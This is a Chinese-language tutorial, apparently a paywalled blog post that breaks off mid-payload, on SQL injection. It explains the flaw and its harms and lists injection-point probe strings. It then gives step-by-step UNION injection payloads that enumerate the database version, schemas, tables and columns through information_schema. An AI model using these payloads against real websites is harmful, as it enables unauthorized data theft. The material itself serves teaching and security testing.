SQL注入漏洞
漏洞描述
Web 程序代码中对于用户提交的参数未做过滤就直接放到 SQL 语句中执行,导致参数中的特殊字符打破了原有的SQL 语句逻辑,黑客可以利用该漏洞执行任意 SQL 语句,如查询数据、下载数据、写入webshell 、执行系统命令以及绕过登录限制等。
SQL 注入漏洞的产生需要满足以下两个条件 :
- 参数用户可控:从前端传给后端的参数内容是用户可以控制的
- 参数带入数据库查询:传入的参数拼接到 SQL 语句,且带入数据库查询
漏洞危害
- 查询数据
- 下载数据
- 写入webshell
- 执行系统命令
- 绕过登录限制
用于测试注入点的语句
and 1=1--+
' and 1=1--+
" and 1=1--+
) and 1=1--+
') and 1=1--+
") and 1=1--+
")) and 1=1--+
漏洞分类
回显:
- UNION(联合注入)
不回显:
- 布尔盲注
- 时间盲注
- 报错注入
其他:
- 堆叠注入
- 二次注入
- 宽字节注入
- http头部注入
联合注入
使用场景:有显示位,可以将sql语句执行的结果输出到网页中。
# 查询字段数
?id=1' order by 3 -- -
# 查看回显位
?id=-1' union select 1,2,3-- -
//查询系统
?id=-1' union select 1,concat_ws('_',user(),version(),database()),@@basedir-- -
//查询所有数据库
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata -- -
//查询表
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- -
//查询列名
?id=-1' union select 1,group_concat(column_name),3 from i

最低0.47元/天 解锁文章
6799

被折叠的 条评论
为什么被折叠?



